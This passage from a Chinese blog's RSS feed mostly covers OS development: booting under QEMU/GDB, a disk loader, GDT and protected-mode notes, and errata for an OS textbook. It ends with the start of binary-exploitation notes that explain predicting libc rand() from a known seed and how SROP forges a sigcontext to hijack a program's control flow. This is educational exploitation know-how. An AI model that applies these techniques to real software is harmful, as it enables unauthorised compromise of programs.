如果你通过 gdb 查看开机后运行的第一条指令，会发现这条指令并不符合我们的预期，这是因为 gdb 是按照 32-bit 指令格式进行解析指令的，而不是 16-bit 指令格式。&lt;/p&gt;
&lt;p&gt;所以如果你想查看开机后运行的第一条指令的话，可以在启动虚拟机的指令后面加上 &lt;code&gt;-monitor stdio&lt;/code&gt; 参数，之后在 qemu 控制台使用 &lt;code&gt;x/10i $cs*16+$eip&lt;/code&gt; 指令来进行查看。&lt;/p&gt;
&lt;p&gt;结果如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(qemu) x/10i $cs*16+$eip
0x000ffff0:  ea 5b e0 00 f0           ljmpw    $0xf000:$0xe05b
0x000ffff5:  30 36 2f 32              xorb     %dh, 0x322f
0x000ffff9:  33 2f                    xorw     (%bx), %bp
0x000ffffb:  39 39                    cmpw     %di, (%bx, %di)
0x000ffffd:  00 fc                    addb     %bh, %ah
0x000fffff:  00 00                    addb     %al, (%bx, %si)
0x00100001:  00 00                    addb     %al, (%bx, %si)
0x00100003:  00 00                    addb     %al, (%bx, %si)
0x00100005:  00 00                    addb     %al, (%bx, %si)
0x00100007:  00 00                    addb     %al, (%bx, %si)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其实还有别的方法，比如直接用 bochs，它很好的支持 16-bit 指令等内容，你也可以手动 patch qemu，或者简单点，如果你还是想用 qemu + gdb 的话，在我的项目根目录下有一个 &lt;code&gt;gdb&lt;/code&gt; 目录，包含了 16-bit 调试的拓展脚本，并且可以自动在进入保护模式后切换到 32-bit 架构，实现正确解析不同架构之间的指令。&lt;/p&gt;
&lt;p&gt;参考：&lt;a href=&quot;https://gist.github.com/Theldus/4e1efc07ec13fb84fa10c2f3d054dccd&quot;&gt;The only proper way to debug 16-bit code on Qemu+GDB&lt;/a&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Loader，我们的救星&lt;/h3&gt;
&lt;p&gt;由于 MBR 受限于 512 字节大小的空间，显然，这么点小小的空间肯定不足以我们将内核加载进内存并运行。所以一个很自然的想法就是，实现一个 Loader，用它来初始化环境并加载内核。&lt;/p&gt;
&lt;p&gt;Loader 应该被 MBR 从硬盘读取到内存后执行，那我们应该将 Loader 写在硬盘中什么位置呢？我们知道 MBR 已经占据了第 0 扇区（LBA 扇区从 0 开始编号），那我们把它放到第 1 扇区？当然可以，但是离得那么近，心理多少有点不踏实，还是隔开点好了……那就放到第 2 扇区好啦～那么现在的问题是，我们把它加载到哪里好呢？理论上任何一块空闲空间都可以，参考实模式下的 1MB 内存布局可知，0x0500~0x7BFF 和 0x7E00~0x9FBFF 都是空闲内存。由于未来 Loader 中需要定义一些数据结构，比如 GDT，这些数据结构将来的内核还需要使用，所以 Loader 加载到内存后不能被覆盖；其次，随着我们不断添加功能，内核必然越来越大，其所在的内存地址也会向越来越高的的地方发展，难免会超过可用区域的上限，所以应该尽量把 Loader 放在低处，多留一些空间给内核。但……我选择效仿 Linux 内核的设计，把它加载到了 0x90000 这个位置，大家随意～&lt;/p&gt;
&lt;p&gt;有关硬盘的操作，可以参考 &lt;a href=&quot;http://ebook.pldworld.com/_eBook/ATA%20spec/ATA7_Spec.pdf&quot;&gt;AT Attachment with Packet Interface&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;至于代码嘛……如果我每次新增了什么代码都复制一份贴到博客里显然有点多余，显得过于杂乱了。所以劳烦您自行阅读我提交的 source code. 仓库地址在 &lt;a href=&quot;#%E5%89%8D%E8%A8%80&quot;&gt;前言&lt;/a&gt; 底部已经给出。&lt;/p&gt;
&lt;h3&gt;进入保护模式&lt;/h3&gt;
&lt;p&gt;一个新的模式的出现一定是为了取代旧有的模式，它一定是为了解决原先模式的一些缺陷而生的。&lt;/p&gt;
&lt;p&gt;实模式是在有了 32-bit CPU 后才提出的，和纯粹的 16-bit CPU，8086 等无关。提出「实模式」的概念只是为了和有了 32-bit CPU 之后诞生的「保护模式」相区分，仅此而已。另外，实模式的运行环境是 16-bit，而保护模式的运行环境是 32-bit.&lt;/p&gt;
&lt;p&gt;虽然有了保护模式，但之前实模式下的程序还得兼容，因此在「实模式」和「保护模式」之间还有个过渡模式，即「虚拟 8086」模式。&lt;/p&gt;
&lt;p&gt;简单罗列一些实模式下的缺陷：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;实模式下操作系统和用户程序处于同一特权级，这哥俩平起平坐，没有区别对待。&lt;/li&gt;
&lt;li&gt;用户程序所引用的地址都是指向真实的物理地址，也就是说逻辑地址等于物理地址，实实在在的指哪打哪。&lt;/li&gt;
&lt;li&gt;用户程序可以自由修改段基址，可以不亦乐乎地访问所有内存，没人拦得住。&lt;/li&gt;
&lt;li&gt;访问超过 64KB 的内存区域时要切换段基址，转来转去容易晕乎。&lt;/li&gt;
&lt;li&gt;一次只能运行一个程序，无法充分利用计算机资源。&lt;/li&gt;
&lt;li&gt;共 20 条地址总线，最大可用内存为 1MB，这即使在当时也不够用。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;前三点属于安全缺陷，第四、五点是使用方面的缺陷，似乎当时还可以勉强忍受一下，但最后一条就是硬伤，随着计算机事业的发展，程序对内存的需求必然越来越大，如果还是 1MB 内存，那真的是束手无策。&lt;/p&gt;
&lt;p&gt;CPU 发展到 32-bit 后，地址总线和数据总线也发展到了 32-bit，其寻址空间达到了 $$2^{32} =4294967296$$ 字节，也就是 4GB 范围。寻址空间上去了，寻址方法还是老一套的「段基址:段内偏移地址」，因此如果还是维持 16-bit 的寄存器大小，肯定无法承担 4GB 的寻址重任。因此，保护模式下寄存器宽度也得到了提升，除段寄存器外，通用寄存器、指令指针寄存器和标志寄存器都由原先的 16-bit 扩展到了 32-bit，这样一来，单独的一个寄存器就可以访问到 4GB 空间的每一个角落，段地址可以为 0，开启了「平坦模式」的时代，大大方便了开发者的工作。&lt;/p&gt;
&lt;p&gt;至于保护模式中对安全性的改进，主要是体现在段寄存器的用途上面。保护模式建立了 &lt;code&gt;全局描述符表 (Global Description Table, GDT)&lt;/code&gt; 的概念，其中每一个表项称为段描述符，大小为 8 字节，用来描述各个内存段的起始地址、大小和权限等信息，当有实际动作在这片内存上发生时，CPU 就根据这些属性来检查动作的合法性，从而起到了保护的作用。GDT 存储在内存中，由 &lt;code&gt;GDTR&lt;/code&gt; 寄存器负责指向这张表的起始位置。这样，原先的段寄存器存放的不再是一个简单的段基址，而是一个叫做 &lt;code&gt;选择子 (Selector)&lt;/code&gt; 的东西，它相当于一个索引，将从 GDT 中找到对应的段基址，再加上偏移地址，通过这种方式来确定地址。&lt;/p&gt;
&lt;p&gt;选择子的结构如下：&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://ghproxy.net/https://raw.githubusercontent.com/CuB3y0nd/IMAGES/master/assets/Untitled-2024-03-31-132221.svg&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Index&lt;/code&gt; 相当于段描述符的索引值，用此值在 GDT 中索引描述符。由于这部分一共有 13-bits，故可以索引 $$2^{13} =8192$$ 个段。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;TI (Table Indicator)&lt;/code&gt; 指示使用哪张描述符表，为 0 表示在 GDT 中索引段描述符，为 1 则在 LDT 中索引。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;RPL (Requested Privilege Level)&lt;/code&gt; 可以表示 0、1、2、3 四种特权级。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;而下图就是 GDT 表项的结构了，其中灰色的那位是 &lt;code&gt;L (Long Mode)&lt;/code&gt; 位，用于指示是 32-bit 还是 64-bit.&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://upload.wikimedia.org/wikipedia/commons/0/0a/SegmentDescriptor.svg&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;有关不同位的含义，可以参考 &lt;a href=&quot;https://en.wikipedia.org/wiki/Segment_descriptor&quot;&gt;Global Descriptor Table&lt;/a&gt;，这里不再赘述。&lt;/p&gt;
&lt;p&gt;通过上图你也看到了，像是段基址，段界限值，它们都被分割开来了，而不是连续存储的，这导致 CPU 还要对这些七零八落的数据进行重组，拼成一个完整的数据……还有访问内存中的段描述符，这些都需要时间，CPU 可等不起。因此，为了提高获取段信息的效率，将段信息缓存到了 &lt;code&gt;段描述符缓存 (Segment Descriptor Cache)&lt;/code&gt;。每个段寄存器都有一个 hidden part，叫做段描述符缓存，它只有 CPU 可操作，CPU 每次将历经千辛万苦获取到的段信息整理成完整的、通顺、不蹩脚的形式后，存入段描述符缓存，以后每次访问相同的段时，就直接读取该段寄存器对应的的段描述符缓存。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
虽然段描述符缓存是保护模式下的产物，但也可以用在实模式下。因为每次都将段基址左移 4 位也算一个不小的操作，所以也可以将移位后的结果缓存起来供下次使用。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;至于这个缓存的失效时间，还真没个「准」。段描述符缓存不会自动刷新，只有当 CPU 重新加载段寄存器时才会更新。&lt;/p&gt;
&lt;p&gt;比如这会刷新缓存：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mov ax, 0x10
mov ds, ax
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这样则不会刷新段描述符缓存寄存器：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mov ax, ds
mov ds, ax
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;因此，除非手动重新加载段寄存器，否则 CPU 会一直使用旧的缓存，即使 GDT/LDT 已被修改。&lt;/p&gt;
&lt;p&gt;此外，保护模式下寻址方式也得到了极大的扩展，灵活性得到了极大的提高。基址寄存器不再只能用 BX、BP，而是所有 32-bit 通用寄存器，变址寄存器也一样，不再只是 SI、DI，而是除 ESP 之外的所有 32-bit 通用寄存器。偏移量也从 16-bit 变成了 32-bit，并且，还可以对变址寄存器乘以一个比例因子，不过出于内存对齐的考虑，比例因子只能是 1、2、4、8。&lt;/p&gt;
&lt;p&gt;还有一些杂七杂八的，比如指令扩展啦，运行模式反转啦之类的，不过我呀，是写不动了&amp;lt;s&amp;gt;&lt;em&gt;（改天也不一定会写的）&lt;/em&gt;&amp;lt;/s&amp;gt;，有兴趣的自己看书查资料去吧～&lt;/p&gt;
&lt;p&gt;最后说说进入保护模式需要做的三件事：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;加载 GDT&lt;/li&gt;
&lt;li&gt;打开 A20 Gate&lt;/li&gt;
&lt;li&gt;将 CR0 的 PE (Protection Enable) 位置 1&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这三个步骤可以不顺序，也不连续。至于实现，还是移步我的 GitHub 看实际代码好了，懒得写了……/逃&lt;/p&gt;
&lt;h1&gt;开发日志&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Mar 12, 2025&lt;/strong&gt; Yeeee! 我终于正式写下了 Exordium 的第一行代码&amp;lt;s&amp;gt;（其实是好几行……）&amp;lt;/s&amp;gt;。从此，接力棒由 BIOS 传到了 MBR 之手，真是值得庆祝的一刻呢！&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mar 17, 2025&lt;/strong&gt; TNND 使用 GAS 重构。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mar 19, 2025&lt;/strong&gt; 实现了一个简单的 Loader.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mar 20, 2025&lt;/strong&gt; 使用 I/O 处理机传送方式优化 in/out 的传送方式。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mar 24, 2025&lt;/strong&gt; 吐血，使用 NASM 重构……进入保护模式、GDB 实模式拓展脚本。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Apr 2, 2025&lt;/strong&gt; 检测可用 RAM 的总大小。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Apr 13, 2025&lt;/strong&gt; 开启内存分页机制。&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;书中的勘误&lt;/h1&gt;
&lt;p&gt;基于 &lt;strong&gt;&lt;em&gt;《操作系统真象还原》（2022.10 重印）&lt;/em&gt;&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;虽然可能错的是我，但并不妨碍我写出来。欢迎一起讨论～&lt;/p&gt;
&lt;h2&gt;第 0 章：一些你可能正感到迷惑的问题&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;0.2 你想研究到什么程度&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;三处 $$4\times 4\times 4$$ 应修改为 $$4+4+4$$。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;0.15 局部变量和函数参数为什么要放在栈中&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;栈由于是向下生长的，堆栈框架就是把 esp 指针提前加一个数，原 esp 指针到新 esp 指针之间的栈空间用来存储局部变量。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这里应该说是提前减一个数才对，因为栈是从高地址向低地址生长的，所以创建栈帧是减，清理才是加。&lt;/p&gt;
&lt;h2&gt;第 1 章：部署工作环境&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;1.3 操作系统的宿主环境&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;在编译中要加 -lpthread 参数。用 vim 编译 makefile，vim 是 Linux 下功能最为强大的文本编辑器。vim Makefile 回车：&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;此处有个小小的 typo：「用 vim 编译 makefile」应改为「用 vim 编辑 makefile」。&lt;/p&gt;
&lt;h2&gt;第 2 章：编写 MBR 主引导记录，让我们开始掌权&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2.2 软件接力第一棒，BIOS&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这里存在一个表格内部的 typo，原表格如下：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;起始&lt;/th&gt;
&lt;th&gt;结束&lt;/th&gt;
&lt;th&gt;大小&lt;/th&gt;
&lt;th&gt;用途&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;FFFF0&lt;/td&gt;
&lt;td&gt;FFFFF&lt;/td&gt;
&lt;td&gt;16B&lt;/td&gt;
&lt;td&gt;BIOS 入口地址，此地址也属于 BIOS 代码，同样属于顶部的 640KB 字节。只是为了强调其入口地址才单独贴出来。此处 16 字节的内容是跳转指令 jmp F000:E05B&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;修改为属于顶部的 64KB 字节而不是 640KB：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;起始&lt;/th&gt;
&lt;th&gt;结束&lt;/th&gt;
&lt;th&gt;大小&lt;/th&gt;
&lt;th&gt;用途&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;FFFF0&lt;/td&gt;
&lt;td&gt;FFFFF&lt;/td&gt;
&lt;td&gt;16B&lt;/td&gt;
&lt;td&gt;BIOS 入口地址，此地址也属于 BIOS 代码，同样属于顶部的 64KB 字节。只是为了强调其入口地址才单独贴出来。此处 16 字节的内容是跳转指令 jmp F000:E05B&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;第 3 章：完善 MBR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;3.1.3 什么是 vstart&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;两处「code.节名.start」应修改为「section.节名.start」。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;3.2.2 实模式下的寄存器&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;还是 typo：「IP 寄存器是不可见寄存器，CS 寄存器是可见寄存器。这两个配合在一起后就是 CPU 的罗盘，它们是给 CPU 导航用的。CPU 执行到何处，完成要听从这两个寄存器的安排。」，「完成」应改成「完全」。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;3.2.4 实模式下 CPU 内存寻址方式&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;直接寻址这里，「第二条指令中，由于使用了段跨越前缀 fs，0x5678 的段基址变成了 gs 寄存器。」这里不应该是 gs 寄存器，而是 fs 寄存器才对。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;3.2.7 实模式下的 call - 16 位实模式相对近调用&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;「指令中的立即数地址可以是被调用的函数名、标号、立即数，函数名同标号一样，它只是地址的人性化表示方法，最终会被编译器转换为一个实际数字地址，如 call near prog_name。」这里「prog_name」应改为同下文一样的「proc_name」。&lt;/p&gt;
&lt;p&gt;「这好办，咱们上 bochs 看，让其边执行边反汇编给咱们看结果。下面粗体的文件是我加的注释说明。」这里「文件」应该改成「文字」吧。改成「文字」的话，排版上也存在问题，因为贴出来的额外注释字体并不是呈粗体的。还有一种可能是，作者将 &lt;code&gt;&amp;gt; (markdown cite syntax)&lt;/code&gt; 引用格式的排版描述为粗体，将引用内容描述成文件，不过这样理解的话也会引出一个争端：引用的内容称为「文件」并不合适，如果一定要用「文件」这个词语的话，我觉得写成「文件内容」更好。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;3.3.1 CPU 如何与外界设备通信——IO 接口&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;「再说，同任何一个设备打交道，CPU 那么速度那么快，它不得嫌弃别人慢吗……」多打了一个「那么」。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;3.5.3 硬盘控制器端口&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;「有些命令需要指定额外参数，这些参数就写在 Fea ture 寄存器中。」这里的问题是「Fea ture」中多打了一个空格，应改成「Feature」。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;3.6.1 改造 MBR&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;「我们的 MBR 受限于 512 字节大小的，在那么小的空间中……」多打了一个「的」。&lt;/p&gt;
&lt;p&gt;「在寄存器 eax 中的是待读入的扇区起始地址，赋值后 eax 为定义的宏 LOADER_START_ SECTOR，即 0x2。」这里「LOADER_START_ SECTOR」多打了一个空格，应改为「LOADER_START_SECTOR」。&lt;/p&gt;
&lt;p&gt;「段内偏移地址正因为是 16 位，只能访问 64KB 的段空间，所以才将段基址乘以 16 来突破这 64KB，从而实现访问低调 1MB 空间的。」这里可能是多打了一个「低调」，也可能是多打了一个「调」。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;3.6.2 实现内核加载器&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;「这次我只抓了一张图，但我人格保证这是跳动的字符……」，「人格」与「人品」是有区别的吧，这里用「人格」感觉并不合适，应该用「人品」 xD&lt;/p&gt;
&lt;h2&gt;第 4 章：保护模式入门&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;4.2.1 保护模式之寄存器扩展&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;「其中每一个表项称为段描述符，其大小为 64 字节」，我滴个乖乖，一个表项 64 字节有点虾仁了啊，其实是 64 比特，8 字节。&lt;/p&gt;
&lt;p&gt;大麻烦来了，我觉得作者写的描述符缓存寄存器的失效时间的这部分内容存在一点小小的逻辑问题，书上写的「即使新选择子的值和之前段寄存器中老的选择子相同，CPU 就会重新访问全局描述符表，再将获取的段信息重新放回段描述符缓存寄存器」和「在 16 位环境下，无论是否与之前的段基址相同，段基址左移 4 位后的结果就被送入段描述符缓存寄存器」，既然不管有没有改变段寄存器的值都要重新访问 GDT，那缓存的意义何在？对此，我写了下自己的一点拙见，见 &lt;a href=&quot;#%E8%BF%9B%E5%85%A5%E4%BF%9D%E6%8A%A4%E6%A8%A1%E5%BC%8F&quot;&gt;进入保护模式&lt;/a&gt; 中有关对缓存失效时间的描述。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;4.3.1 段描述符&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;「内存访问需要用到『段其址:段内偏移地址』……」，是「段地址」吧，怎么打成了「段其址」。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;4.3.5 让我们进入保护模式&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;代码 4-2 中第 27 行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;DESC_VIDEO_HIGH4 equ (0x00 &amp;lt;&amp;lt; 24) + DESC_G_4K + DESC_D_32 + \
DESC_L + DESC_AVL + DESC_LIMIT_VIDEO2 + DESC_P + \
DESC_DPL_0 + DESC_S_DATA + DESC_TYPE_D ATA + 0x00
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;DESC_TYPE_D ATA&lt;/code&gt; 中间多了一个空格，应改为 &lt;code&gt;DESC_TYPE_DATA&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;同代码 4-2，第 13 行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;DESC_LIMIT_VIDEO2 equ 0000_000000000000000b
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里全部置零肯定是有问题的，拼不出段基址 &lt;code&gt;0xb8000&lt;/code&gt;。应该改成：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;DESC_LIMIT_VIDEO2 equ 0000_0000000000001011b
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;第 5 章：保护模式进阶，向内核迈进&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;5.2.5 启用分页机制&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;对代码 5-4 的解释，「第 152~153 行，是为了重启加载 GDT 做准备。」，这应该是「重新」吧，怎么能是「重启」。&lt;/p&gt;
</content:encoded></item><item><title>Beyond Basics: The Dark Arts of Binary Exploitation</title><link>https://cubeyond.net/posts/pwn-notes/pwn-trick-notes/</link><guid isPermaLink="true">https://cubeyond.net/posts/pwn-notes/pwn-trick-notes/</guid><description>An in-depth collection of techniques and mind-bending tricks that every aspiring pwner needs to know.</description><pubDate>Sat, 01 Feb 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;自 23 年刚推开 Pwn 之门的一条窄缝以来，一直有着这样一个想法：「写一份有关 Pwn 的详细教程，又或许是经验梳理与总结，让有志之士从入门到入坟，少走弯路，不那么痛苦。」~&lt;em&gt;伟大吗？&lt;/em&gt;~&lt;/p&gt;
&lt;p&gt;本来想用 GitBook 或者建一个类似 wiki 的平台来写这个的，不过最终还是决定放在这里，为啥？我不知道……&lt;/p&gt;
&lt;p&gt;不过我可能不会经常更新这篇 blog，而是 &lt;em&gt;Keep updating as the mood strikes.&lt;/em&gt; 但是请放心，不论你现在看到的这篇文章有多简陋……给我点时间，未来它一定会成为一本不错的参考手册！&lt;/p&gt;
&lt;p&gt;莫欺少年穷，咱顶峰相见。&lt;/p&gt;
&lt;p&gt;&amp;lt;p style=&quot;text-align: right;&quot;&amp;gt;——以上，书于 02/01/2025&amp;lt;/p&amp;gt;
&amp;lt;p style=&quot;text-align: right;&quot;&amp;gt;更新于 09/10/2025&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;Flush or Be Flushed: C I/O 缓冲区的秘密生活&lt;/h1&gt;
&lt;p&gt;&lt;code&gt;stdout&lt;/code&gt; 有三种缓冲模式：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;行缓冲 (line-buffered)&lt;/strong&gt; 只有在输出 &lt;code&gt;\n&lt;/code&gt; 时才 flush（前提是目标是终端 tty）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;全缓冲 (fully-buffered)&lt;/strong&gt; 只有缓冲区填满或程序结束才 flush&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;无缓冲 (unbuffered)&lt;/strong&gt; 每次写都会 flush&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;默认规则是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;如果 &lt;strong&gt;stdout&lt;/strong&gt; 指向&lt;strong&gt;终端 (tty)&lt;/strong&gt;，则为行缓冲&lt;/li&gt;
&lt;li&gt;如果 &lt;strong&gt;stdout&lt;/strong&gt; 被重定向到 &lt;strong&gt;pipe / socket / file&lt;/strong&gt; 则为全缓冲&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Path or Be Pathed: The angr Edition&lt;/h1&gt;
&lt;p&gt;有关于我符号执行的学习记录，请移步 &lt;a href=&quot;/posts/pwn-notes/angr/&quot;&gt;分岔的森林：angr 符号执行札记&lt;/a&gt;。&lt;/p&gt;
&lt;h1&gt;上帝掷骰子？不，其实是线性同余&lt;/h1&gt;
&lt;p&gt;&lt;a href=&quot;https://en.cppreference.com/w/c/numeric/random/rand&quot;&gt;rand&lt;/a&gt; 生成的是伪随机数，范围是 $[ 0,RAND_MAX]$，只要 seed 相同就可以「预测」：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import ctypes

libc = ctypes.CDLL(&quot;./libc.so.6&quot;)

# libc.srand(1)
predicted = libc.rand()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::tip
没有使用 &lt;code&gt;srand&lt;/code&gt; 设置 seed 的，默认为 &lt;code&gt;srand(1)&lt;/code&gt;。
:::&lt;/p&gt;
&lt;h1&gt;一环套一环：ROP 链与栈上的奇技淫巧&lt;/h1&gt;
&lt;h2&gt;ret2csu&lt;/h2&gt;
&lt;p&gt;我在 &lt;a href=&quot;/posts/write-ups/rop-emporium-series/#challenge-8&quot;&gt;ROP Emporium - Challenge 8&lt;/a&gt; 写的已经很详细了，最近比赛赶时间，等我打完之后再来慢慢完善吧，只能暂且劳请各位老爷们先凑合着看了&amp;lt;s&amp;gt;&lt;em&gt;（如果有人看的话。/真叫人伤心）&lt;/em&gt;&amp;lt;/s&amp;gt;。&lt;/p&gt;
&lt;h2&gt;SROP&lt;/h2&gt;
&lt;h3&gt;Principle&lt;/h3&gt;
&lt;p&gt;Okay, the first thing, what is &lt;code&gt;SROP&lt;/code&gt;?&lt;/p&gt;
&lt;p&gt;&lt;code&gt;SROP (Signal Return Oriented Programming)&lt;/code&gt;，思想是利用操作系统信号处理机制的漏洞来实现对程序控制流的劫持。&lt;/p&gt;
&lt;p&gt;首先得知道，信号是操作系统发送给程序的中断信息，通常用于指示发生了一些必须立即处理的异常情况。&lt;/p&gt;
&lt;p&gt;而 &lt;code&gt;sigreturn&lt;/code&gt; 则是一个特殊的 &lt;code&gt;syscall&lt;/code&gt;，负责在信号处理函数执行完后根据栈上保存的 &lt;code&gt;sigcontext&lt;/code&gt; 的内容进行清理工作（还原到程序在进行信号处理之前的运行状态，就好像什么都没有发生一样，以便于接着运行因中断而暂停的程序）。它帮助程序&lt;strong&gt;从 Signal Handler（泛指信号处理函数）中返回&lt;/strong&gt;，并通过清理信号处理函数使用的栈帧来恢复程序的运行状态。&lt;/p&gt;
&lt;p&gt;我们知道，在传统的 ROP 中，攻击者可以利用程序中已存在的 gadgets 构造一个指令序列来执行恶意代码。SROP 则在此基础上利用了信号处理机制的漏洞，在信号处理函数的上下文切换中执行攻击，实现一次控制所有寄存器的效果。&lt;/p&gt;
&lt;p&gt;攻击步骤大致如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;攻击者通过在栈上伪造 &lt;code&gt;sigcontext&lt;/code&gt; 结构来为控制寄存器的值做准备。一般会在这一步设置好后续 ROP Chain 中恶意代码要用到的参数，需要注意的是没有设置的寄存器在执行 &lt;code&gt;sigreturn&lt;/code&gt; 后会被 zero out.&lt;/li&gt;
&lt;li&gt;想办法令目标程序执行 &lt;code&gt;sigreturn&lt;/code&gt;，进行信号处理。&lt;/li&gt;
&lt;li&gt;调用 &lt;code&gt;sigreturn&lt;/code&gt; 后，系统会暂停当前程序的执行，通过 Signal Handler 处理信号，处理完后根据 &lt;code&gt;sigcontext&lt;/code&gt; 的内容恢复运行环境。&lt;/li&gt;
&lt;li&gt;这时候我们已经达成了设置参数的目的，可以选择返回到 ROP Chain 继续执行恶意代码。&lt;/li&gt;
&lt;/ul&gt;
